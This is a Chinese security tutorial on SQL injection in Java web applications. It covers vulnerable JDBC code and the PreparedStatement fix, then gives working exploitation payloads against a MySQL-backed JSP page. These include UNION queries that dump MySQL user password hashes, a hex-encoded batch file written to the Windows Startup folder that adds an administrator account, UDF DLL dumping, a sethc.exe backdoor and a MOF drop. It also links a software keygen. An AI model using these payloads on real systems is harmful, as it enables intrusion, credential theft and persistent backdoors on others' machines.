<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/236

            注:本節重點在于讓大家熟悉各種SQL注入在JAVA當中的表現,本想帶點ORM框架實例,但是與其幾乎無意,最近在學習MongoDb,挺有意思的,后面有機會給大家補充相關。

            0x00 JDBC和ORM


            JDBC:

            JDBC(Java Data Base Connectivity,java數據庫連接)是一種用于執行SQL語句的Java API,可以為多種關系數據庫提供統一訪問。

            JPA:

            JPA全稱Java Persistence API.JPA通過JDK 5.0注解或XML描述對象-關系表的映射關系,并將運行期的實體對象持久化到數據庫中。是一個ORM規范。Hibernate是JPA的具體實現。但是Hibernate出現的時間早于JPA(因為Hibernate作者很狂,sun看不慣就叫他去制定JPA標準去了哈哈)。

            ORM:

            對象關系映射(ORM)目前有Hibernate、OpenJPA、TopLink、EclipseJPA等實現。

            JDO:

            JDO(Java Data Object )是Java對象持久化的新的規范,也是一個用于存取某種數據倉庫中的對象的標準化API。沒有聽說過JDO沒有關系,很多人應該知道PDO,ADO吧?概念一樣。

            關系:

            JPA可以依靠JDBC對JDO進行對象持久化,而ORM只是JPA當中的一個規范,我們常見的Hibernate、Mybatis和TopLink什么的都是ORM的具體實現。

            概念性的東西知道就行了,能記住最好。很多東西可能真的是會用,但是要是讓你去定義或者去解釋的時候發現會有些困難。

            重點了解JDBC是個什么東西,知道Hibernate和Mybatis是ORM的具體的實現就夠了。

            Object:

            在Java當中Object類(java.lang.object)是所有Java類的祖先。每個類都使用 Object 作為超類。所有對象(包括數組)都實現這個類的方法。所以在認識Java之前應該有一個對象的概念。

            關系型數據庫和非關系型數據庫:

            數據庫是按照數據結構來組織、存儲和管理數據的倉庫。

            關系型數據庫,是建立在關系模型基礎上的數據庫。關系模型就是指二維表格模型,因而一個關系型數據庫就是由二維表及其之間的聯系組成的一個數據組織。當前主流的關系型數據庫有Oracle、DB2、Microsoft SQL Server、Microsoft Access、MySQL等。

            NoSQL,指的是非關系型的數據庫。隨著互聯網web2.0網站的興起,傳統的關系數據庫在應付web2.0網站,特別是超大規模和高并發的SNS類型的web2.0純動態網站已經顯得力不從心,暴露了很多難以克服的問題,而非關系型的數據庫則由于其本身的特點得到了非常迅速的發展。

            1、High performance - 對數據庫高并發讀寫的需求。
            2、Huge Storage - 對海量數據的高效率存儲和訪問的需求。
            3、High Scalability && High Availability- 對數據庫的高可擴展性和高可用性的需求。
            

            常見的非關系型數據庫:Membase、MongoDB、Hypertable、Apache Cassandra、CouchDB等。

            常見的NoSQL數據庫端口:

            MongoDB:27017、28017、27080
            CouchDB:5984
            Hbase:9000
            Cassandra:9160
            Neo4j:7474
            Riak:8098
            

            在引入這么多的概念之后我們今天的故事也就要開始了,概念性的東西后面慢慢來。引入這些東西不只僅僅是為了講一個SQL注入,后面很多地方可能都會用到。

            傳統的JDBC大于要經過這么些步驟完成一次查詢操作,java和數據庫的交互操作:

            準備JDBC驅動
            加載驅動
            獲取連接
            預編譯SQL
            執行SQL
            處理結果集
            依次釋放連接
            

            sun只是在JDBC當中定義了具體的接口,而JDBC接口的具體的實現是由數據庫提供廠商去寫具體的實現的, 比如說Connection對象,不同的數據庫的實現方式是不同的。

            使用傳統的JDBC的項目已經越來越少了,曾經的model1和model2已經被MVC給代替了。如果用傳統的JDBC寫項目你不得不去管理你的數據連接、事物等。而用ORM框架一般程序員只用關心執行SQL和處理結果集就行了。比如Spring的JdbcTemplate、Hibernate的HibernateTemplate提供了一套對dao操作的模版,對JDBC進行了輕量級封裝。開發人員只需配置好數據源和事物一般僅需要提供一個SQL、處理SQL執行后的結果就行了,其他的事情都交給框架去完成了。

            ?enter image description here

            0x01 經典的JDBC的Sql注入


            Sql注入產生的直接原因是拼湊SQL,絕大多數程序員在做開發的時候并不會去關注SQL最終是怎么去運行的,更不會去關注SQL執行的安全性。因為時間緊,任務重完成業務需求就行了,誰還有時間去管你什么SQL注入什么?還不如喝喝茶,看看妹子。正是有了這種懶惰的程序員SQL注入一直沒有消失,而這當中不乏一些大型廠商。有的人可能心中有防御Sql注入意識,但是在面對復雜業務的時候可能還是存在僥幸心理,最近還是被神奇路人甲給脫褲了。為了處理未知的SQL注入攻擊,一些大廠商開始采用SQL防注入甚至是使用某些廠商的WAF。

            JDBCSqlInjectionTest.java類:

            package org.javaweb.test;
            
            import java.sql.Connection;
            import java.sql.DriverManager;
            import java.sql.PreparedStatement;
            import java.sql.ResultSet;
            import java.sql.SQLException;
            
            public class JDBCSqlInjectionTest {
            
                /**
                 * sql注入測試
                 * @param id
                 */
                public static void sqlInjectionTest(String id){
            
                    String MYSQLDRIVER = "com.mysql.jdbc.Driver";//MYSQL驅動
                    //Mysql連接字符串
                    String MYSQLURL = "jdbc:mysql://localhost:3306/wooyun?user=root&password=caonimei&useUnicode=true&characterEncoding=utf8&autoReconnect=true";
                    String sql = "SELECT * from corps where id = "+id;//查詢語句
                    try {
                        Class.forName(MYSQLDRIVER);//加載MYSQL驅動
                        Connection conn = DriverManager.getConnection(MYSQLURL);//獲取數據庫連接
                        PreparedStatement pstt = conn.prepareStatement(sql);
                        ResultSet rs = pstt.executeQuery();
                        System.out.println("SQL:"+sql);//打印SQL
                        while(rs.next()){//結果遍歷
                            System.out.println("ID:"+rs.getObject("id"));//ID
                            System.out.println("廠商:"+rs.getObject("corps_name"));//輸出廠商名稱
                            System.out.println("主站"+rs.getObject("corps_url"));//廠商URL
                        }
                        rs.close();//關閉查詢結果集
                        pstt.close();//關閉PreparedStatement
                        conn.close();//關閉數據連接
                    } catch (ClassNotFoundException e) {
                        e.printStackTrace();
                    } catch (SQLException e) {
                        e.printStackTrace();
                    }
                }
                public static void main(String[] args) {
                    sqlInjectionTest("2 and 1=2 union select version(),user(),database(),5 ");//查詢id為2的廠商
                }
            }
            

            現在有以下Mysql數據庫結構(后面用到的數據庫結構都是一樣): ?

            enter image description here

            看下圖代碼是一個取數據和顯示數據的過程。

            第20行就是典型的拼SQL導致SQL注入,現在我們的注入將圍繞著20行展開: ?

            enter image description here

            當傳入正常的參數”2”時輸出的結果正常:

            ?enter image description here

            當參數為2 and 1=1去查詢時,由于1=1為true所以能夠正常的返回查詢結果:

            ?enter image description here

            當傳入參數2 and 1=2時查詢結果是不存在的,所以沒有顯示任何結果。

            Tips:在某些場景下可能需要在參數末尾加注釋符--,使用“--”的作用在于注釋掉從當前代碼末尾到SQL末尾的語句。

            --在oracle和mssql都可用,mysql可以用# /**

            ?enter image description here

            執行order by 4正常顯示數據order by 5錯誤說明查詢的字段數是4。 ?

            enter image description here

            Order by 5執行后直接爆了一個SQL異常: ?

            enter image description here

            用聯合查詢執行:2 and 1=2 union select version(),user(),database(),5 ?

            enter image description here

            小結論:

            通過控制臺執行SQL注入可知SQL注入跟平臺無關、跟開發語言關系也不大,而是跟數據庫有關。 知道了拼SQL肯定是會造成SQL注入的,那么我們應該怎樣去修復上面的代碼去防止SQL注入呢?其實只要把參數經過預編譯就能夠有效的防止SQL注入了,我們已經依舊提交SQL注入語句會發現之前能夠成功注入出數據庫版本、用戶名、數據庫名的語句現在無法帶入數據庫查詢了:

            enter image description here

            0x02 PreparedStatement實現防注入


            SQL語句被預編譯并存儲在PreparedStatement對象中。然后可以使用此對象多次高效地執行該語句。

            Class.forName(MYSQLDRIVER);//加載MYSQL驅動 
            Connection conn = DriverManager.getConnection(MYSQLURL);//獲取數據庫連接 
            String sql = "SELECT * from corps where id = ? ";//查詢語句 
            PreparedStatement pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement對象 
            pstt.setObject(1, id);//使用預編譯SQL 
            ResultSet rs = pstt.executeQuery();
            

            ?enter image description here

            從Class.forName反射去加載MYSQL啟動開始,到通過DriverManager去獲取一個本地的連接數據庫的對象。而拿到一個數據連接以后便是我們執行SQL與事物處理的過程。當我們去調用PreparedStatement的方法如:executeQuery或executeUpdate等都會通過mysql的JDBC實現對Mysql數據庫做對應的操作。Java里面連接數據庫的方式一般來說都是固定的格式,不同的只是實現方式。所以只要我們的項目中有加載對應數據庫的jar包我們就能做相應的數據庫連接。而在一個Web項目中如果/WEB-INF/lib下和對應容器的lib下只有mysql的數據庫連接驅動包,那么就只能連接MYSQL了,這一點跟其他語言有點不一樣,不過應該容易理解和接受,假如php.ini不開啟對mysql、mssql、oracle等數據庫的支持效果都一樣。修復之前的SQL注入的方式顯而易見了,用“?”號去占位,預編譯SQL的時候會自動根據pstt里的參數去處理,從而避免SQL注入。

            String sql = "SELECT * from corps where id = ? "; 
            pstt = conn.prepareStatement(sql);//獲取預編譯的PreparedStatement對象 
            pstt.setObject(1, id);//使用預編譯SQL 
            ResultSet rs = pstt.executeQuery(); 
            

            在通過conn.prepareStatement去獲取一個PreparedStatement便會以預編譯去處理查詢SQL,而使用conn.createStatement得到的只是一個普通的Statement不會去預編譯SQL語句,但Statement執行效率和速度都比prepareStatement要快前者是后者的父類。

            從類加載到連接的關閉數據庫廠商根據自己的數據庫的特性實現了JDBC的接口。類加載完成之后才能夠繼續調用其他的方法去獲取一個連接對象,然后才能過去執行SQL命令、返回查詢結果集(ResultSet)。

            Mysql的Driver:

            public class Driver extends NonRegisteringDriver implements java.sql.Driver{}
            

            在加載驅動處下斷點(22行),可以跟蹤到mysql的驅動連接數據庫到獲取連接的整個過程。

            enter image description here

            enter image description here

            enter image description here

            F5進入到Driver類: ?

            enter image description here

            驅動加載完成后我們會得到一個具體的連接的對象Connection,而這個Connection包含了大量的信息,我們的一切對數據庫的操作都是依賴于這個Connection的:

            enter image description here

            conn.prepareStatement(sql);

            在獲取PreparedStatement對象的時進入會進入到Connection類的具體的實現類ConnectionImpl類。

            然后調用其prepareStatement方法。 ?

            而nativeSQL方法調用了EscapeProcessor類的靜態方法escapeSQL進行轉意,返回的自然是轉意后的SQL。

            預編譯默認是在客戶端的用com.mysql.jdbc.PreparedStatement本地SQL拼完SQL,最終mysql數據庫收到的SQL是已經替換了“?”后的SQL,執行并返回我們查詢的結果集。 從上而下大概明白了預編譯做了個什么事情,并不是用了PreparedStatement這個對象就不存在SQL注入而是跟你在預編譯前有沒有拼湊SQL語句,

            String sql = “select * from xxx where id = ”+id//這種必死無疑。
            

            Web中繞過SQL防注入:

            Java中的JSP里邊有個特性直接request.getParameter("Parameter");去獲取請求的數據是不分GET和POST的,而看過我第一期的同學應該還記得我們的Servlet一般都是兩者合一的方式去處理的,而在SpringMVC里面如果不指定傳入參數的方式默認是get和post都可以接受到。

            SpringMvc如:

            @RequestMapping(value="/index.aspx",method=RequestMethod.GET)
            public String index(HttpServletRequest request,HttpServletResponse response){
                System.out.println("------------");
                return "index";
            }
            

            上面默認只接收GET請求,而大多數時候是很少有人去制定請求的方式的。說這么多其實就是為了告訴大家我們可以通過POST方式去繞過普通的SQL防注入檢測!

            Web當中最容易出現SQL注入的地方:

            常見的文章顯示、分類展示。
            用戶注冊、用戶登錄處。
            關鍵字搜索、文件下載處。
            數據統計處(訂單查詢、上傳下載統計等)經典的如select下拉框注入。
            邏輯略復雜處(密碼找回以及跟安全相關的)。
            

            關于注入頁面報錯:

            如果發現頁面拋出異常,那么得從兩個方面去看問題,傳統的SQL注入在頁面報錯以后肯定沒法直接從頁面獲取到數據信息。如果報錯后SQL沒有往下執行那么不管你提交什么SQL注入語句都是無效的,如果只是普通的錯誤可以根據錯誤信息進行參數修改之類繼續SQL注入。 假設我們的id改為int類型:

            int id = Integer.parseInt(request.getParameter("id")); ?
            

            enter image description here

            程序在接受參數后把一個字符串轉換成int(整型)的時候發生異常,那么后面的代碼是不會接著執行的哦,所以SQL注入也會失敗。

            Spring中如何安全的拼SQL(JDBC同理):

            對于常見的SQL注入采用預編譯就行了,但是很多時候條件較多或較為復雜的時候很多人都想偷懶拼SQL。?

            ?寫了個這樣的多條件查詢條件自動匹配:

                public static String SQL_FORUM_CLASS_SETTING = "SELECT * from bjcyw_forum_forum where 1=1 ";
            ?    public List<Map<String, Object>> getForumClass(Map<String,Object> forum) {
                StringBuilder sql=new StringBuilder(SQL_FORUM_CLASS_SETTING);
                List<Object> ls=new ArrayList<Object>();
                if (forum.size()>0) {
                    for (String key : forum.keySet()) {
                        Object obj[]=(Object [])forum.get(key);
                        sql = SqlHelper.selectHelper(sql, obj);
                        if ("like".equalsIgnoreCase(obj[2].toString().trim())) {
                            ls.add("%"+obj[1]+"%");
                        }else{
                            ls.add(obj[1]);
                        }
                    }
                }
                return jdbcTemplate.queryForList(sql.toString(),(Object[])ls.toArray());
            }
            

            selectHelper方法:

            public static StringBuilder selectHelper(StringBuilder sql, Object obj[]){
                if (Constants.SQL_HELPER_LIKE.equalsIgnoreCase(obj[2].toString())) {
                    sql.append(" AND "+obj[0]+" like ?");
                }else if (Constants.SQL_HELPER_EQUAL.equalsIgnoreCase(obj[2].toString())) {
                    sql.append(" AND "+obj[0]+" = ?");
                }else if (Constants.SQL_HELPER_GREATERTHAN.equalsIgnoreCase(obj[2].toString())) {
                    sql.append(" AND "+obj[0]+" > ?");
                }else if (Constants.SQL_HELPER_LESSTHAN.equalsIgnoreCase(obj[2].toString())) {
                    sql.append(" AND "+obj[0]+" < ?");
                }else if (Constants.SQL_HELPER_NOTEQUAL.equalsIgnoreCase(obj[2].toString())) {
                    sql.append(" AND "+obj[0]+" != ?");
                }
                return sql;
            }
            

            信任客戶端的參數一切參數只匹配查詢條件,把參數和條件自動裝配到框架。

            如果客戶端提交了危險的SQL也沒有關系在query的時候是會預編譯。

            不貼了原文在:http://zone.wooyun.org/content/2448

            0x03 轉戰Web平臺


            看完了SQL注入在控制臺下的表現,如果對上面還不甚清楚的同學繼續看下面的Web注入。

            首先我們了解下Web當中的SQL注入產生的原因: ?

            enter image description here

            Mysql篇: 數據庫結構上面已經聲明,現在有以下Jsp頁面,邏輯跟上面注入一致: ?

            enter image description here

            瀏覽器訪問:http://localhost/SqlInjection/index.jsp?id=1

            enter image description here

            上面我們已經知道了查詢的字段數是4,現在構建聯合查詢,其中的1,2,3只是我們用來占位查看字段在頁面對應的具體的輸出。在HackBar執行我們的SQL注入,查看效果和執行情況: ?

            enter image description here

            Mysql查詢和注入技巧:

            只要是從事滲透測試工作的同學或者對Web比較喜愛的同學強薦大家學習下SQL語句和Web開發基礎,SQL管理客戶端有一個神器叫Navicat。支持MySQL, SQL Server, SQLite, Oracle 和 PostgreSQL databases。官方下載地址:http://www.navicat.com/download不過需要注冊,注冊機:http://pan.baidu.com/share/link?shareid=271653&uk=1076602916 其次是下載吧有全套的下載。

            enter image description here

            似乎很多人都知道Mysql有個數據庫叫information_schema里面存儲了很多跟Mysql有關的信息,但是不知道里面具體都有些什么,有時間大家可以抽空看下。Mysql的sechema都存在于此,包含了字段、表、元數據等各種信息。也就是對于Mysql來說創建一張表后對應的表信息會存儲到information_schema里面,而且可以用SQL語句查詢。

            使用Navicat構建SQL查詢語句:

            enter image description here

            當我們在SQL注入當中找到用戶或管理員所在的表是非常重要的,而當我們想要快速找到跟用戶相關的數據庫表時候在Mysql里面就可以合理的使用information_schema去查詢。構建SQL查詢獲取所有當前數據庫當中數據庫表名里面帶有user關鍵字的演示: ?

            enter image description here

            查詢包含user關鍵字的表名的結果: ?

            enter image description here

            假設已知某個網站用戶數據非常大,我們可以通過上面構建的SQL去找到對應可能存在用戶數據信息的表。

            查詢Mysql所有數據庫中所有表名帶有user關鍵字的表,并且按照表的行數降序排列:

            SELECT
            i.TABLE_NAME,i.TABLE_ROWS
            FROM information_schema.`TABLES` AS i
            WHERE i.TABLE_NAME
            LIKE '%user%'
            ORDER BY i.TABLE_ROWS
            DESC
            

            查只在當前數據庫查詢:

            SELECT
            i.TABLE_NAME,i.TABLE_ROWS
            FROM information_schema.`TABLES` AS i
            WHERE i.TABLE_NAME
            LIKE '%user%'
            AND i.TABLE_SCHEMA = database()
            ORDER BY i.TABLE_ROWS
            DESC
            

            查詢指定數據庫: ?

            enter image description here

            查詢字段當中帶有user關鍵字的所有的表名和數據庫名:

            SELECT
            i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME
            FROM information_schema.`COLUMNS` AS i
            WHERE i.COLUMN_NAME LIKE '%user%' ?
            

            enter image description here

            CONCAT:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1?
            

            enter image description here

            GROUP_CONCAT

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1
            

            enter image description here

            注入點友情備份:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'
            

            注入在windows下默認是E:\如果用“\”去表示路徑的話需要轉換成E:\\而更方便的方式是直接用/去表示即E:/。 當我們知道WEB路徑的情況下而又有outfile權限直接導出數據庫中的用戶信息。?

            enter image description here

            而如果是在一些極端的情況下無法直接outfile我們可以合理的利用concat和GROUP_CONCAT去把數據顯示到頁面,如果數據量特別大,我們可以用concat加上limit去控制顯示的數量。比如每次從頁面獲取幾百條數據?寫一個工具去請求構建好的SQL注入點然后把頁面的數據取下來,那么數據庫的表信息也可以直接從注入點全部取出來。

            注入點root權限提權:

            1、寫啟動項:

            這個算是非常簡單的了,直接寫到windows的啟動目錄就行了,我測試的系統是windows7直接寫到:C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目錄就行了。用HackBar去請求一下鏈接就能過把bat寫入到我們的windows的啟動菜單了,不過得注意的是360那個狗兔崽子:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'
            

            enter image description here

            2、失敗的注入點UDF提權嘗試:

            MYSQL提權的方式挺多的,并不局限于udf、mof、寫windows啟動目錄、SQL語句替換sethc實現后門等,這里以udf為例,其實udf挺麻煩的,如果麻煩的東東你都能搞定,簡單的自然就能過搞定了。 在進行mysql的udf提權的時候需要注意的是mysql的版本,mysql5.1以下導入到windows目錄就行了,而mysql<=5.1需要導入到插件目錄。我測試的是Mysql 5.5.27我們的首要任務就是找到mysql插件路徑。

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir
            

            獲取插件目錄方式:

            select @@plugin_dir
            select @@basedir
            ?show variables like ‘%plugins%’
            

            enter image description here

            通過MYSQL預留的變量很輕易的就找到了mysql所在目錄,那我們需要把udf導出的絕對路徑就應該是:D:/install/dev/mysql5.5/lib/plugin/udf.dll。現在我們要做的就是怎樣通過SQL注入去把這udf導出到上述目錄了。 我先說下我是怎么從錯誤的方法到正確導入的一個過程吧。首先我執行了這么一個SQL:

            SELECT * from corps where id = 1 and 1=2 union select '','','',(CONVERT(0xudf的十六進制 ,CHAR)) INTO DUMPFILE 'D:/install/dev/mysql5.5/lib/plugin/udf.dll'
            

            因為在命令行或執行單條語句的時候轉換成char去dumpfile的時候是可以成功導出二進制文件的。 我們用瀏覽器瀏覽網頁的時候都是以GET方式去提交的,而如果我用GET請求去傳這個十六進制的udf的話顯然會超過GET請求的限制,于是我簡單的構建了一個POST請求去把一個110K的0x傳到后端。

            enter image description here

            用hackbar去發送一個post請求發現失敗了,一定是我打開方式不對,呵呵。隨手寫了個表單提交下: 下載地址: http://pan.baidu.com/share/link?shareid=1711769621&uk=1076602916?

            enter image description here

            提交表單以后發現文件是寫進去了,但是為什么就只有84字節捏? ?

            enter image description here

            難道是數據傳輸的時候被截斷了?不至于吧,于是用navicat執行上面的語句: ?

            enter image description here

            我似乎傻逼了,因為查詢結果還是只有84字節,結果顯然不是我想要的。84字節,不帶這么坑的。一計不成又生二計。 不讓我直接dumpfile那我間接的去寫總行吧? ?

            enter image description here

            1 and 1=2 union select '','','',0xUDF轉換后的16進制 INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'發現格式不對,給hex加上單引號以字符串方式寫入試下: 1 and 1=2 union select '','','',’0xUDF轉換后的16進制’ INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'

            enter image description here

            這次寫入的起碼是hex了吧,再load_file到查詢里面不就行了嗎?我們知道load_file得到的肯定是一個blob吧。 ?

            enter image description here

            那么在注入點這么去構建一下不就行了: ?

            enter image description here

            其實這都已經2到家了,這跟第一次提交的數據根本就沒有兩樣。Load file在這里依舊被轉換成了0x,我想這不行的話那么應該就只能在blob字段去load_file才能成功吧,因為現在load到了一個字段類型是text的位置里面。估計是被當字符串處理了,但是很顯然是沒法去找個blob的字段的,(用上面去information_schema去找應該能找到)。也就是說現在需要的是一個blob去臨時的存儲一下。又因為我們知道MYSQL是不支持多行查詢的,所以我們根本就沒有辦法去建表(想過copy查詢建表,但是顯然是行不通的)。 這不科學,一定是打開方式不對。CAST 和CONVERT 轉換成CHAR都不行。能轉換成blob之類的嗎?CONVERT(0xsbsbsb,BLOB)發現失敗了,把BLOB換成 BINARY發現成功執行了。 于是用構建的表單再次執行下面的語句: SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0x不解釋,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll'

            enter image description here

            這次執行成功了,哦多么痛的領悟……一開始把CHAR寫成BINARY不就搞定了,二的太明顯了。其實上面的二根本就不是事兒,更二的是當我要執行的時候恍然發現根本就沒有辦法去創建function啊! O shit shift~ Mysql Driver在pstt.executeQuery()是不支持多行查詢的,一個select 在怎么也不能跟create同時執行。為了不影響大家心情還是繼續寫下去吧,命令行建立一個function,然后在注入點注入(如果有前人已經創建udf的情況下可以直接利用): ?

            enter image description here

            因為沒有辦法去創建一個function所以用注入點實現udf提權在上一步就死了,通過在命令行執行創建function只能算是心靈安慰了,只要完成了create function那一步我們就真的成功了,因為調用自定義function非常簡單:

            enter image description here

            MOF和sethc提權:

            MOF和sethc提權我就不詳講了,因為看了上面的udf提權你已經具備自己導入任意文件到任意目錄了,而MOF實際上就是寫一個文件到指定目錄,而sethc提權我只成功模糊的過一次。在命令行下利用SQL大概是這樣的:

            create table mix_cmd( shift longblob);
            insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));?    
            select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;?    
            drop table if exists mix_cmd;
            

            現在的管理員很多都會自作聰明的去把net.exe、net1.exe 、cmd.exe、sethc.exe刪除防止入侵。當sethc不存在時我們可以用這個方法去試下,怎么確定是否存在?load_file下看人品了,如果cmd和sethc都不存在那么按照上面的udf提權三部曲上傳一個cmd.exe到任意目錄。

            SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe'
            

            MOF大約是這樣:

            http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select char(ascii轉換后的代碼),'','','' into dumpfile 'c:/windows/system32/wbem/mof/nullevts.mof'
            

            Mysql小結:

            我想講的應該是一種方法而不是SQL怎么去寫,學會了方法自然就會自己去拓展,當然了最好不要向上面udf那么二。有了上面的demo相信大家都會知道怎么去修改滿足自己的需求了。學的不只是方法而是思路切記!

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线